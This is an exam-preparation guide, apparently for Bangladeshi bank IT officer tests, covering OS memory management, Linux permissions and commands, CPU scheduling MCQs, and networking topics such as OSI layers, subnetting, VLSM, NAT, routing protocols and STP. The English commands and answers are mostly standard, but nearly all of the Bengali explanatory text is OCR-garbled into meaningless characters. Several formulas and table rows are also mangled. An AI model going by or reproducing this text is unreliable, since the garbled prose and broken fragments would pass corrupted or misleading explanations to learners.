uiaa<: Reference string1,2,3,4,1,2,5,1,2,3,4,5— oft frame
FIFO (C¥ SITsY GIpR O WISt (I 2X):

FIFO = 9 fault| 433 string-a LRU = 10 fault, Optimal = 7 fault (Optimal SJ59% <Y — @ page
SRIFI® T MRS AR SILF AN, IV I TR Jl, FAF FoF1d) |

Belady's anomaly: 33 string-a FIFO-¢S 8f6 frame fitat fault (ItT 10 37 — frame IS8 fault IS
LRU @ Optimal-a @Bt =31 =1 (stack algorithm)|

Thrashing: process-StaIR TIE frame 1 VFA CPU IS (51T & STHT page WHI-FSIT 57 ¢, CPU
utilization 351< TS 71 STAIEE: working-set model, page-fault frequency fs@el, multiprogramming
degree FHCHI, RAM IIGIHT|

Y.q TR 56w 8 coltas

* File allocation: Contiguous (&9, external fragmentation), Linked (FAT), Indexed (inode —
Unix/Linux)1

o I3 CBA: Windows — NTFS, FAT32 (A3 137 A6 4 GB), exFAT; Linux — ext4, XFS; macOS —
APES|

¢ Disk scheduling: FCFS, SSTF, SCAN (elevator), C-SCAN, LOOKI
* Hard link @3 inode- U™ F; soft (symbolic) link path-& T =, I TI3T Yot (ST T

Y.y fA=I3 915 @ onafsee

I ASIF 8 CBS-9F I WA Linux/Unix-A BT, BI3 permission 8 ciifeiss e MCQ @ fafds 53

GITSITOR AT |

type owner (uU) =4+2+1 =7 group (g) = 4+0+1 = others (o) =

fSaw.c: chmod 750 —r=4,w=2,x=1
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faste o ANSE 2026

Explain the Linux commands chmod 750 and chown root:admin filename.sh. Also, write a Linux
command to set the file permissions so that: the owner has read, write, and execute permissions; the
group has read and execute permissions; others have no permissions.

Taq:

® chmod 750 filename.sh — permission octal-@Q 76 B 7 = rwx (owner 1GTs, [FUTs, vIets
AFR); 5 = r-x (group IGTS 8 BIANTS AL, ITANS AR 71); 0 = - (others Fg3 @ AN 1s -1-
Q@ YIS -rwxr-x--- |

* chown root:admin filename.sh — BI3(AF owner IWCA root AR group IcT admin |
&S root/sudo I3 BIICS 271

* BISI permission (owner rwx, group r-x, others ---) = 750:

chmod 750 filename.sh

# I symbolic i

chmod u=rwx,g=rx,o0= filename.sh

1s -1 filename.sh # -rwxr-x--- 1 root admin ... filename.sh

MR (AFHIAMB: script-a password/config BT others-aF permission 0 14T least privilege TS
|

Octal Symbolic BISEIE]

755 FWXr-Xr-X script/directory — SIR13 BIETITS #AICH, @Y owner ITATS AN
644 FW-r--r-- SEger H13eT (HTML, config)

600 o T— (ST 13 — SSH private key

700 FWX------ Y owner-ad directory/script

777 FWXFWXFWX IF 3] W& — Arerer Jf<s, afowm seq

Symbolic: chmod u+x file (owner-(3 execute (151), chmod g-w file, chmod o=r file, chmod -R 750
dir/ (recursive)l chgrp @Y group IV, umask 022 ICA TQF FIZS 644, directory 755 3|

waSI FAS

FAS For Surge

1s -la T T3 [SITS 1s -la /var/log
Siferst

pwd, cd, mkdir -p, cp -r, fogfdswEa mkdir -p /backup/2026

mv, rm -r

cat, less, head -n, tail - I3 (MY, tail -f =I3w tail -f /var/log/syslog
f log

grep T et grep -i "failed" /var/log/auth.log

find FI3eT (grem find / -name "x.conf" -mtime -1
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ps aux, top/htop BeINIH process, CPU/RAM ps aux | grep java

JJRIF
kill PID, kill -9 PID process % (SIGTERM / kill -9 4521
SIGKILL)
df -h disk partition-a3 i< df -h
TSt
du -sh 9FfG directory @ s du -sh /var/log
e
free -h RAM 8 swap
tar archive/compress tar -czvf backup.tar.gz /data; ¢eCo tar
-xzvf
ssh fSar#m remote login (port ~ ssh admin@10.10.1.5
22)
scp SSH it =131 f9t scp file.sql admin@10.10.1.5:/backup/
crontab -e Hifde sy 1o @ 2 * x * /opt/backup.sh = &S 7o
(scheduler) B
systemctl service BIe]/IFH/AIRI systemctl restart nginx, systemctl
status mysql
ip a / ifconfig IP address q41
sudo admin stfgsig g s sudo apt update
Bl

crontab-a3 ¢ft 99

=A% g6 Ma () W AYEI-TT FIT — 30 23 * * 1-5 = ONN-8&F J1S Sd:wo| AME/AE 24.01.2026-
93 "daily backup" ST STILITT Qb f<tet Irefs 797 s T|

Log I3

Process 37 3t @ Igerst OS @67 927 log file-a &7a (Officer IT MCQ 2026)1 Linux: /var/log/syslog t
/var/log/messages (STI&A9), /var/log/auth.log I /var/log/secure (login/SSH), /var/log/kern.log,
journalctl -u service | Windows: Event Viewer (Application, Security, System log)| fRarerar @f&ts log
centrally (SIEM-Q) Il T2eia |

Windows (5 STIF FAS

E R JG Linux s31gety

ipconfig /all IP, mask, gateway, DNS, MAC (qar™ ip a, ifconfig

ipconfig /release, /renew DHCP (It w9~ IP dhclient

ipconfig /flushdns DNS cache (g (et resolvectl flush-caches
ping host reachable 3 =t (ICMP echo) ping
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tracert packet (9 (19 router T T traceroute

netstat -ano ﬂ%ﬁconnectionelistening port (PID-3R) netstat -tulpn, ss -tulpn
nslookup DNS QT - IP et nslookup, dig

route print routing table ip route

arp -a ARP cache (IP—~MAC) ip neigh

u.» Circular Queue — 0S-9 &4

faste e so 1T 2026 (25104)

Why is a Circular Queue preferred over a Linear Queue in many operating systems? Explain with one
example.

T@q: Linear queue-(S (array f$fe<) dequeue TR 217 NI 9 Il 18 rear 1Y TS (TRt
T9A element AT AT FT — TrFsT 78 37 ("false overflow")I Circular queue-(S I¥ 93T IIF WK
BFCS BT AN TA: rear = (rear + 1) % N, OI3 fixed WHIEII memory &9 22 77,
shifting-a3 w319 (73, enqueue/dequeue O(1)I

Turzack: (5) Round Robin CPU scheduling — ready queue-a3 process-at ai6d 917 QBf6 time
quantum 2T, G5 #IF W AANTTS B I () FRIG/E@GSTF F1TEF buffer (ring buffer) —
(GO SRATT NI, 2T (GBI G 0 (513 SIS TR (ST (4T 771 (9) printer spooler|

Full *5: (rear + 1) % N == front; Empty *I5: front == rear (A6 T YIfe AT 215[S0o)|

¥.50 MCQ St

1. @F2 process-ad thread-stat fAwea =6 share Fw@ AR
() Address space (¥) Stack
(57) Message queue (90) File descriptor table
Taq: () — aAfS thread-a3 R stack, PC 8 register A1

2. &1 scheduling algorithm 5SS average waiting time w®?

(=) FCFS (?) Round Robin
(s7) SJF (9) Priority
&ed: (5T) — SJF (preemptive st SRTF) emifdeweig optimall

3. Context switching (FHIAIT TTB?

() Compiler (¥) Memory
(1) CPU () I/0 device

T83: (5) — CPU A process (ITF WIIF 6o T17; dispatcher state save/load T
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4. 46 process aFIIA critical section-Q AIFTS AT T — QB *TST FIW F?

(=¢) Mutual exclusion (4) Race condition

(s7) Critical condition (8) Synchronous condition

T () — Mutual exclusionl

5. Process 31 301 Q@f*Iawtst 0S &foa oAy FIAT d?
() TR TIRC (¥) &5 process-A
(sY) Log file-@ () Database-@

&&d: (sT) — /var/log It Windows Event Viewer |

6. Linux-a4 file permission Iu«ItS (FIF FAIG?
(=¢) chown (4) chmod
(s7) chgrp (27) umask

@3 (4) — chown owner IW&ETT, chgrp group IV

7. chmod 640 file fiteT permission i 73?
() rw-r----- (¥) rwxr-----
(1) rw-rw---- () r--r-----

TG (F) —6=rw-, 4=r-,0=--

8. Af&T network connection 8 listening port ¥ FAIT FIHH?
() netstat (%) ping
(s1) nslookup (37 ipconfig

Twaq: () — netstat -ano (Windows)/ ss -tulpn (Linux)l

9. Deadlock-93 T+ fATEa (NG ATTIGAT =S T2
(=) Mutual exclusion (4) Hold and wait

(57) Preemption (=) Circular wait
T8<: (1) — *5f6 =Celt No preemption|
10. Banker's algorithm (FI9 (F*ITTa Swigge?

(=) Deadlock prevention (¥) Deadlock avoidance
(s") Deadlock detection (29) Deadlock ignorance

Tea: (4) — S request-a safe state 613 |

11. frame IITITAS page fault @TT TSTF 691 FIF algorithm-a i gt Ir?
(<) LRU (%) Optimal
(57) FIFO () LFU

T@q: (1) — Belady's anomaly!|
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12. Page size 1 KB 932 logical address 16 bit 2T offset ¥ bit?
() 6 (%) 8
(st)y 10 ()16

Tas: (5) — 1 KB = 219, 213 6 bit page number|

13. Paging (19 9301 49 H?
() Internal fragmentation (¥) External fragmentation
(51) Thrashing (9) Deadlock

Teq: (4) — F¥] 17 page-a internal fragmentation TS AH|

14. Time-sharing SIT6ta Ty 7t6ta $94YH scheduling &H{6?
() FCFS (2) Round Robin
(s1) SJF (9) Multilevel queue

Ted: (¥4) — AT 356 ufEe time quantum 2|

15. Linux-9 93 directory oIt ¥© disk Sirgsit ez T 915 (@IH{6?
() df -h (¥) du -sh
(sY) free -h () Is -s

Ted: (4) — df <[l partition iarg, du AR directory i
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I 9 — (GOl SMSATH*H 8 o eTIfH?

Data Communication & Computer Networking

1T ARG FIIHIT IO & T9ET T ANSE 2026-97 St A7 Sofos @eemfFe; SO IT 2026,
Officer IT 2026, AME/AE 2026 8 AME/AE 24.01.2026 — JIS(1ItS subnetting at1tz | Delay, FDM
bandwidth, source rate-a3 stet snfafSF 2% AME 8 SO-co fafis | 2f$fe subnetting sttt fRte St
QTS I |

Q.5 OSI 8 TCP/IP TG

0SI (2 J9) TCP/IP (8 39) PDU / Swigae

7 Application

Data — HTTP, FTP, SMTP, DNS,
6 Presentation Application TLS (6), NetBIOS/RPC (5)

5 Session
4 Transport Transport Segment (TCP) / Datagram (UDP)
3 Network Internet Packet — IP, ICMP, OSPF; Router
2 Data Link Frame — Ethernet, ARP, PPP; Switch

Network Access (Link)
1 Physical Bit — cable, hub, repeater

N AT 1Y (S219—T5): All People Seem To Need Data Processing

fo@ a.5: OSI I9IY TCP/IP «e &ifSfB Wag PDU
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fasto &= ANSE2026 SO IT 2026

Draw a diagram of the seven layers of the OSI model and briefly explain the function of each layer.

i Fre cANBITa/fSorEs

7 Application  ZTGIEF WIHF (FESTE G-I (T HTTP, FTP, SMTP, DNS,
SNMP

6 (GBI format I8, encryption/decryption, compression SSL/TLS, JPEG, ASCII

Presentation

5 Session session RIo, FFTHT @ SHIfd; synchronization/checkpoint  NetBIOS, RPC

4 Transport end-to-end (process-to-process) (sf@eifF, segmentation, flow  TCP, UDP
8 error control, port

3 Network logical (IP) addressing 8 routing — S8 (FGSTIHI JC&T oA IP, ICMP, OSPF; Router
e

2 Data Link physical (MAC) addressing, framing, hop-to-hop error Ethernet, ARP, PPP;
detection (CRC), media access Switch, Bridge

1 Physical bit-GF electrical/optical/radio SIRGFTS #HSITT; cable, connector,  RJ45, fiber; Hub,
voltage Repeater

e foa a.5-93 Wrot aft I |iFF QIR sender-a T21F (AT AT encapsulation (21fS I3 header crst
) 8 receiver-a 95 (ATF T9IF decapsulation Sig (41|

faste o  Bscs AME 2026

At which layer of the OSI model does a standard Router primarily operate, and what is the specific name
of the Protocol Data Unit (PDU) at this layer?

¥@4: Router e I Layer 3 — Network layer-9; @3 ®t3d PDU-3 719 Packet (IP datagram)|
Router destination IP (Mtd routing table SIFIET #I&K hop 35 T3, 2AfSf6 hop-a TTL > T @32
Layer-2 frame header 799 I 0| (3 2T ST WA — route summarization — 4.9-91)

Q.3 (B SHIS f[SoiRy

fSeoidn  OSIZF IS Collision / Broadcast domain
Repeater 1 TR AUFS AR I 799 —
BB
Hub 1 T | A port-a 25T (multiport 56 collision, 56 broadcast
repeater)
Bridge 2 MAC it 4f segment & I &S port =™y collision

Switch 2 (L3 switch-8  MAC address table mta fAfd® port-a  &fS port ==t collision; 51 port A
NR) frame oY broadcast (VLAN =IG)
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Router 3 IP it fS7 ((GSTIHT Wy packet #ifS interface Sefmt broadcast domain
route

Gateway IS (2MW34- {7 protocol-a ((ESTIHT 0Ly —
7) KPSl

Firewall  3-7 R S traffic Srgufs/arat —

fast® o= Officer IT 2026 (25105)

Describe the functions of a Switch and a Router and explain two key differences between these
networking devices.

Switch: a3 LAN-93 SOt I& FF; WS frame-ad source MAC ita MAC table (ofF 33,
destination MAC (Mtd &g (5% port-A 251 (unknown = flood) | Router: f$7 (5@ (LAN-WAN-
Internet) Y& IF; routing table @ routing protocol Mt IAT #12 @R packet #1517, NAT/ACL-8 FACS
AT

SRR Switch Router

OSI BT Layer 2 (Data Link) Layer 3 (Network)

Address MAC address IP address

Table MAC (CAM) table Routing table

Broadcast broadcast forward =t (935 broadcast broadcast WG 7T (ATS port Sermr
domain) domain)

BISKE O3 WRE/AAR (TSR LT > (TG NBH > VI

Q.9 (5SS brohieifan

Bt O X

Bus Star (&g switch) Ring Full Mesh: n(n-1)/2 = 6 link

f5a a.3: &4 Seon=fer
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faste o ANSE 2026

What is network topology? Define and explain the different types of network topology with suitable
diagrams.

Topology (AT (FBSINHR @G FIoI physically It logically SRS o F [srsi

Topology st5 NRE] Syft
Bus a6 backbone cable-@ 513 S\, F cable backbone 16t 31 IF;
collision
Star VRS @JI switch/hub-9a e Sy fRefy, @6 AT ™ T8 = @ (SR IF
CEAIG AU DISIR ol (single point of failure)

Ring AfSfo @re 3 afSweaig s, collision 33, ST Jcarst a3 link @16t Ry (dual ring

JQIFIF; token passing =100
Mesh &S @16 &=y 917 A, link = S redundancy 8 LA, | cable/port
n(n-1)/2 IBCECIRIG
Tree star-a3 SIS G AFSIITT STEAIATTISN root I8 X *4t {feew
Hybrid apifacea e ATIGANCS! FF#1T iftet

71efHL TWIR: *MYUF (SO star, *TA-(G6! GTFBIF-DR A136a qeey Wikf*<s mesh (5% ISP-3 redundant
link)1

q.8 {1 fifSar @ yafee

Twisted pair (UTP S5 ~100 m; RJ-45; LAN-@ 60T &1 Caté — 1 Gbps (55 m XS 10 Gbps)

Cat5e/Catb)

Coaxial cable TV, analog CCTV pitstdl (RG-59 + BNC connector)

Optical fiber IICel, total internal reflection; EMI 331 Single-mode (%, laser) I9 Multimode
(g, LED)

Wireless Radio, microwave (line-of-sight), satellite, infrared

Circuit switching Packet switching

CIISTITIITSIE Wit dedicated path B9 (call setup) (BT (76 packet-a SisY, AfSG WAMTS route 77

fAfi® bandwidth 3%, idle ta8 78 bandwidth Stsreifst (statistical multiplexing) — 7
delay %3, &% 3 A queuing delay sif3T$=#e, packet &7 T WSS AR
SARF: ST GfAc= (PSTN) Tuieger: Internet (IP)
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q.¢ fSta1 @ shifdfes st

dnodal = dproc M dqueue M dtrans N dprop

drans = L/ R (packet bits + link rate) | dyyop = d /s (739 + 1S, = 2x108 m/s)

faste o5  Bscs AME/AE 24.01.2026

Explain packet switching. A packet passes through 4 routers with each router introducing 2 ms
processing delay. Transmission delay per link is 5 ms. Calculate total end-to-end delay (ignore
propagation,).

Packet switching-93 51Tar $2It3F (BfIeT (A fYA (store-and-forward: &ifST router #tar packet
T ST A1) |

SAIN: Source — R1 — R2 — R3 — R4 — Destination| 85 router STl Q1B link 347 = router + 1 =

51
. Q00 0 — -

link1 link2 link3 link4 link5

Total delay = (link 31431 x transmission delay) + (router JIR¥JT x processing delay)
=5x5ms+4x2ms=25+8=33ms

g 2SI "8 link” 4@ O 4 x 5 + 4 x 2 = 28 ms| B8 WY =8 {54 33 ms 7 — @B13 store-and-
forward Tt 3| Queuing 8 propagation X 4T JCACT|

fIsts o BB AME 2023

... packet consists of P bytes and 5 bytes of header. The source is encoded at a constant rate of 128 kbps.
... Determine the packetization delay for L = 1500 bytes.

Packetization delay = packet ©I(® I© NI 10T = packet-ad data bits + source ratel

= (1500 x 8) bits + 128,000 bps = 12,000 + 128,000 = 0.09375 s = 93.75 ms

2@ VoIP-9 93.75 ms WA &3 (SITAT NI A (WG one-way delay < 150 ms F15) | 313 VoIP
(RIG packet JIIRIT FE — @99 P = 50 bytes 3¢s7 400/128000 = 3.125 ms; 7@ ©47 header overhead =
5/55 = 9% | aB18 &TH trade-offl

faste e BB AME 2023

A digitized TV picture ... matrix of 480 x 500 pixels, each pixel can take one of 32 intensity values, 30
pictures per second. Find the source rate R (bps).

&ifS pixel-a bit = log,32 = 5 bit

81 =f3To pixel = 480 x 500 = 240,000

&S BfITS bit = 240,000 x 5 = 1,200,000 bit

R =1,200,000 x 30 = 36,000,000 bps = 36 Mbps
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fQsts & so 172026 (25104)

Five channels, each with a 100-kHz bandwidth, are to be multiplexed together (FDM). What is the
minimum bandwidth of the link if there is a need for a quard band of 10 kHz between the channels to
prevent interference?

¢fS channel-a3 WGt guard band #tst @ - 5 = 8fG|
Minimum bandwidth =5 x 100 + 4 x 10 = 500 + 40 = 540 kHz

15 = 540 kHz (%% = 10 kHz guard band)

Nyquist 8 Shannon

Nyquist (noiseless): C = 2B logo,M | Shannon (noisy): C = B logy(1 + SNR) | SNRyg =10 l0og4q
SNR

Sursget
() B =3000 Hz, M = 4 level — C = 2 x 3000 x log,4 = 2 x 3000 x 2 = 12 kbps|

() B = 3000 Hz, SNR =30 dB — SNR = 103 = 1000 — C = 3000 x log,1001 = 3000 x 9.97 = 29.9 kbpsi|
(1) Sampling (Nyquist): fs > 2f 5, O 4 kHz — 8000 sample/s x 8 bit = 64 kbpsi

Q.Y IPv4 siitg g

Class AT octet Default mask Private range (RFC 1918)

A 1-126 /8 (255.0.0.0) 10.0.0.0 - 10.255.255.255

B 128-191 /16 (255.255.0.0) 172.16.0.0 - 172.31.255.255

C 192-223 /24 (255.255.255.0) 192.168.0.0 - 192.168.255.255
D 224-239 — Multicast

E 240-255 — Experimental

fJers: 127.0.0.0/8 = loopback (127.0.0.1); 169.254.0.0/16 = APIPA (DHCP =T ¢#iteT Windows DI my);
0.0.0.0 = default routel IPv4 = 32 bit; IPv6 = 128 bit| Public IP 37196 === 8 routable, ISP/RIR
(APNIC) I3 F(S; private IP 3 (TSR (ABSIE, IBIAEE (TS NAT ISt

Tulzact: 192.168.1.1-GF binary-cs

192 = 11000000, 168 = 10101000, 1 = 00000001, 1 = 00000001 —
11000000.10101000.00000001.00000001 (Officer IT MCQ 2026)I
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Q.9 Subnetting, VLSM 8 Summarization

Subnet syt = 2R Tt | 4S5 subnet-a FRACIIST host = 2Mostbit — 5
Block size (magic number) = 256 — mask-a3 =%t octet

Prefix Mask (19 octet) Block Usable host

/24 .0 256 254

/25 128 128 126

/26 192 64 62

127 224 32 30

/28 .240 16 14

/29 .248 8 6

/30 .252 4 2 (point-to-point link)

fQsre ¥ ANSE 2026 Officer IT 2026 (25105)

Divide the network 192.168.0.0/24 (Officer IT: 192.168.1.0/24) into four equal-sized subnets. For each
subnet, determine: network address, subnet mask, usable host IP address range, broadcast address.

8fS subnet = 22 — 3 bit &1 — /24 + 2 = /26, mask 255.255.255.192, block = 256 — 192 = 64, host = 2°
-2=62I

Subnet Network Usable host range Broadcast

1 192.168.1.0/26 192.168.1.1 - 192.168.1.62 192.168.1.63
2 192.168.1.64/26 192.168.1.65 - 192.168.1.126 192.168.1.127
3 192.168.1.128/26 192.168.1.129 - 192.168.1.190 192.168.1.191
4 192.168.1.192/26 192.168.1.193 - 192.168.1.254 192.168.1.255

ANSE-a3 192.168.0.0/24 (A 8Y TOIT octet 0 INI — JIfF 17 93|

fQsIS o5t BSCS AME/AE 24.01.2026

Given the IP address 192.168.10.0/24, calculate the number of subnets if borrowed bits = 3 and hosts per
subnet.

9+ prefix = /27, mask = 255.255.255.224, block = 321

Subnet sy = 23 = 8: host bit =32 - 27 =5 — host = 2° - 2 = 30 &f$ subnet|

Subnet-®taT: .0, .32, .64, .96, .128, .160, .192, .224 (24wfG: host .1-.30, broadcast .31; @1Ff5: host
.225-.254, broadcast .255)I
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faste o so 172026 (25104)

An organization is granted the IPv4 network block 14.24.74.0/24 and needs to segment it into two
subnets ...

2fS subnet —  bit &1 — /25, mask 255.255.255.128, host = 27 - 2 = 1261

Subnet Network Host range Broadcast
A 14.24.74.0/25 14.24.74.1 - 14.24.74.126 14.24.74.127
B 14.24.74.128/25 14.24.74.129 - 14.24.74.254 14.24.74.255

I &t AfSS subnet-aF host BIfRW WM ST AFCA FHTEI VLSM AES TP T4 — I GIfwt SISt

faste o ANSE 2026

Design a VLSM addressing scheme for the network 10.100.0.0/22 to accommodate: Department A: 250
hosts, Department B: 120 hosts, Department C: 50 hosts. Determine the appropriate CIDR notation and
subnet mask for each department.

10.100.0.0/22 = 10.100.0.0 - 10.100.3.255 (1024 address)| &19f: 5if2nl IT (AT (2B Trems — AfSoa
oy 2N - 2 > BifEmr @5 pEew h

Dept ®ifewt h CIDR Mask Network Host range Broadcast
A 250 8 /24 255.255.255.0 10.100.0.0 10.100.0.1 - 10.100.0.254  10.100.0.255
(254)
B 120 7 /25  255.255.255.128 10.100.1.0 10.100.1.1 - 10.100.1.126  10.100.1.127
(126)
C 50 6(62) /26  255.255.255.192 10.100.1.128 10.100.1.129 - 10.100.1.191
10.100.1.190

TRIRTS (SRFTeF T): 10.100.1.192/26 @I 10.100.2.0/231 VLSM-aF J{4T: 517 [erst /24 e 768
address =11579; QUITH =157 448 — address AT FH|

fQsts & Bscs AME 2026

A router has four contiguous /24 routing table entries ... summarize them into a single route.

e TRATSTAT TR (73, TUIRT: 192.168.4.0/24, 192.168.5.0/24, 192.168.6.0/24, 192.168.7.0/241

QoI octet binary-¢a: 4 = 00000100, 5 = 00000101, 6 = 00000110, 7 = 000001111 2T Y bit (000001)
IF @F — common prefix =8 + 8 + 6 = 221

Summary route = 192.168.4.0/22 (mask 255.255.252.0), 1 192.168.4.0 - 192.168.7.255 I F |
Ff34r: routing table (=15 77, lookup %S, @B subnet flap FICTS update T O]

Z

Todol

85 /24 summarize T3S NG TOIT octet 8-9F $fVTF TS 7R (0, 4, 8, ...)| (T 5-8 (F AFB
/22-Q ST QY |
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.t IPv6, ARP, DHCP, DNS, NAT

fasto o ANSE 2026

State three major differences between IPv4 and IPv6. Which protocol or mechanism replaces ARP
functionality in IPv6?

frEw IPv4 IPV6
Address o<y 32 bit (~4.3 Rfera), dotted decimal 128 bit (3.4x1038), hexadecimal, colon
(2001:db8::1)

Header AIISTAMN (20-60 byte), checksum 53 40 byte, checksum (3 — % processing
IR

Address Manual 1T DHCP SLAAC (stateless auto) It DHCPv6

configuration

Broadcast IR (3 — multicast 8 anycast

Security IPsec &f%F IPsec TFHITT ASGH

NAT address FFOIT AT JILTSIIAD STGH 73

Fragmentation router 8 host ¥y source host

IPv6-a ARP-93 Girasit fAcsice NDP — Neighbor Discovery Protocol (ICMPv6-93 Neighbor
Solicitation 8 Neighbor Advertisement message)| FOIO6I U solicited-node multicast =T
I

e ARP: GiFI IP (At W&t MAC (9 A1 Host broadcast 3tg "192.168.1.1 F14?"; Wifeis unicast-a Ntog
MAC STe, ©25 ARP cache-@ 1t (arp -a )l RARP STe6I6I S|

e DHCP (UDP 67 server / 68 client): I3f&Te1tg IP, mask, gateway, DNS i1 &1 DORA: Discover
(client broadcast) — Offer (server) — Request (client) - Acknowledge (server)i

e DNS (UDP/TCP 53): domain name — IP| @&¥: browser cache — OS cache/hosts file — recursive
resolver — Root — TLD (.com, .bd) — Authoritative server| Record: A (IPv4), AAAA (IPv6), CNAME
(alias), MX (mail), NS, PTR (reverse), TXT]I
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NAT 8 PAT

faste o ANSE 2026

What is Port Address Translation (PAT)? Explain how it works and why it is more suitable than Static NAT
and Dynamic NAT in networks where multiple devices share a single public IP address.

NAT private IP-& public IP-(S F918% | o7 &3:

44 Mapping BISEIE]
Static NAT S private < > public (Brs) IR QTF access FIFIF AN ATSFT
(web/mail)
Dynamic NAT private — public pool RTF EFITT 9F pool-a ISITAT public IP, 9FANY TG
(505, )
PAT (NAT A private <> S public, W™ port ity WfHs1/35T — 51713 @S public IP oo
Overload) & BBIAD

FISIT FIG FF: 192.168.1.10:51000 — router translation table-a &ta 203.0.113.5:40001;
192.168.1.11:51000 — 203.0.113.5:40002 | S et destination port (itd SifdF (8O host-a
ST | @FB public IP-(S SIfgFSIR ~65,000 session|

& BAYS: Static NAT-9 2AfSo SR =5 @remt public IP 1tst; Dynamic NAT-A pool ¥ e A9
fEOISS T (TTS AT 71| PAT-Q GG public IP TAT — IPv4 IF6 3 5T JLBTS FAIT, QIR (GOEH
address J3F FIICAT ACF |

Q.5 TCP, UDP 3 (%1%

@ SYN + ACK (seq =y, ack = x+1 :

: ACK (ack = y+1) — ESTABLISHED

@ q.0: TCP three-way handshake (3% at® FIN-ACK, BIF &%)

TCP UDP

Connection-oriented (handshake) Connectionless

fRSacren: ACK, retransmission, @ 3 qca RSacraret @3, @ Afe 71

Flow control (sliding window), congestion control 3

Header 20-60 byte, &1 Header 8 byte, o

HTTP/HTTPS, FTP, SMTP, SSH DNS query, DHCP, VoIP, live streaming, SNMP, TFTP
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MCQ

"Real-time streaming-a (19 connectionless protocol, ¥ security?" — UDP (Officer IT 2026)1 "I
service TCP JRRIF FI — DHCP / SMTP / DNS?" — SMTPI

Port Protocol Port Protocol

20/ 21 FTP data / control 110 POP3 (email &rzeY)

22 SSH, SFTP, SCP 143 IMAP (email &=)

23 Telnet (XfRAToW) 161 SNMP

25 SMTP (server<>server email Si151T) 443 HTTPS

53 DNS 587 SMTP submission (client — server, TLS)
67 /68 DHCP server/ client 3306 MySQL

80 HTTP 3389 RDP (Windows remote desktop)

123 NTP 1433 /1521 MS SQL Server / Oracle

Port #3574 0-1023 well-known, 1024-49151 registered, 49152-65535 dynamic/ephemeral

q.>o IrefBe: Static, RIP, OSPF, BGP

Protocol &= Metric af*rey

Static RIS &AL — (2B F58IIH, AD 1

RIP v2 Distance vector (Bellman- Hop count (T8 &S 30 s <[t table, &7 convergence, AD
Ford) 15) 120

OSPF Link state (Dijkstra SPF) Cost = area (backbone area 0), S convergence,

108/bandwidth AD 110

EIGRP Advanced distance vector Bandwidth + delay DUAL, AD 90
(Cisco)

BGP Path vector (EGP) Path attributes BBIAGIT AS-aF W&, TCP 179; eBGP AD 20
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faste et ANSE 2026

What is a Link-State Advertisement (LSA) in OSPF? Explain how OSPF uses Dijkstra's shortest-path-first
algorithm to determine the best routes.

LSA (Tt OSPF router-Q3 “SITAT @6 BT 26, TS A router-67 o link, &S link-a3 1=zt
(up/down), &ifSTIA 3 costl LSA ST area-3 31 router-A flood T QIR 2ATSNF QFG WiSw LSDB

(Link-State Database) (off & — WfIQ ST Iy 9Tl topology-T a3 W@ | &&= LSA type: 1
Router, 2 Network (DR ¢S Ft), 3 Summary (ABR), 5 External (ASBR)I

Dijkstra-a g1et: (5) &fSTB router ATEE root 43, Rte 13w 0, 1T 7 o (2) FICETT FN cost-aAF
unvisited (TG ([XCT SIF FE (permanent) IR () OIF AFRSTINIT 777 AT FCF: d(v) = min(d(v),
d(u) + cost(u,v))1 (8) I (FIG BT T 2SI ST 5ACS AT | FoAIHeT U6 SPF tree; S destination-
OF G5 &AAN hop routing table-a IGT1 Topology IR 9 LSA SITT IR SPF WK 25711 =71

210 Sursaet

R1-R2 cost 10, R1-R3 cost 1, R3-R2 cost 21 R1 (At R2: a7 10, R3 3™ 1 + 2 = 3 —» OSPF &y
T R1 — R3 — R2 (cost 3), I8 hop &1 RIP R(a hop count T It FIWR 21 f9© — QB13 link-
state-a3 Jf«TI

fIsrs &t ANSE 2026

List five BGP best-path selection criteria or attributes in descending order of priority, according to a
specified vendor's implementation.

Cisco 10S-93 &% (93 feTcet s17af6 orar =77 70):

. Weight — SItI186 (Cisco-Afig, router-a3 local)

. Local Preference — S5 (AS-99 (99(F < iBGP router-& 1)

. Locally originated route (network/aggregate/redistribute st fAter tofF)

. AS_PATH — SI_(otT (215

. Origin — IGP (i) < EGP (e) < Incomplete (?)

. MED — 5i&f3%

. eBGP route iBGP-J (5T g™

. Next-hop #I¥s S5 IGP metric

. ST SJFT eBGP route; S1F91F SIS Router ID; SI991F <K= neighbor address

00O N o U1 A W N -

O

N7 YT I155: "We Love Oranges As Oranges Mean External Interest" (Weight, Local pref,
Originated, AS path, Origin, MED, External, IGP)I

Q.55 VLAN 8 STP

VLAN @3f6 physical switch-& a31f&F logical LAN-@Q Sist 5 (TN Teller, Loan, ATM, CCTV StietmT VLAN)
— broadcast domain (215 3T, fNIaT TS| Switch-9F W& @1fE=s VLAN 329 e trunk link (IEEE 802.1Q
tagging); VLAN-@AJ Nty (TSIt router T L3 switch S1TST (inter-VLAN routing)l
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fAsrS ot ANSE 2026
What is the purpose of the Spanning Tree Protocol (STP)? Why do Layer 2 switching loops occur, and how
does STP prevent them?

& loop =T: redundancy-3 T switch-STEAR Jty OFIfEF o2 At =71 Ethernet frame-a TTL (3, WIF
switch broadcast/unknown unicast 3 port-@ flood FtF | FT frame TTIFI LS = —
broadcast storm, MAC table =If%a (MAC flapping), 92 frame-93 aFIf&F S — IS G AT
(B8R AHA |

STP (IEEE 802.1D) €T Stw#15: redundant link @43 loop-J& Q0 logical tree (o3 T4
1. BPDU SIIH-2mI9 cd WK=F Bridge ID (priority + MAC)-a3 switch-& Root Bridge 151
2. &ifSf6 non-root switch-a root #I¥® FK=F cost-a3 port = Root Port|
3. af$f segment-a a6 Designated Port |
4. 13 port Blocking SRR — (GBI 2SI /1, @Y BPDU I

5. SIf& link 78 2T blocked port Listening — Learning — Forwarding 3% (802.1D-¢S ~30-50 s; RSTP
802.1w-AQ FTT O |

Q.53 BiIIesite

fasto o ANSE2026  Officer IT MCQ 2026 (BIBM)
A computer can successfully ping the public IP address 8.8.8.8 but cannot access websites using domain
names. Identify the most likely cause of the problem and explain the step-by-step process for diagnosing
and resolving it using appropriate network troubleshooting commands.
G F1A: DNS resolution 2| 8.8.8.8 ping 308 W physical link, IP, gateway 8 3BIG F0) 5
™R (Layer 1-3 OK); VY TN — [P F9IISF 0B T
1. DNS setting ¢w¥4a: ipconfig /all (Linux: cat /etc/resolv.conf)— DNS server BT, 9
S T s AT
2. 919 resolve @Il nslookup www.google.com — "timed out"/"server failed" @tef DNS S>3t
Afts|
3. &3 DNS Tt 9IQ1%6t: nslookup www.google.com 8.8.8.8 — WW?@?{ DNS server-3 (rst|
4. DNS server reachable f& Jt: ping <DNS-IP>; firewall UDP/TCP 53 Bt (J0ITR 5 A1 (g
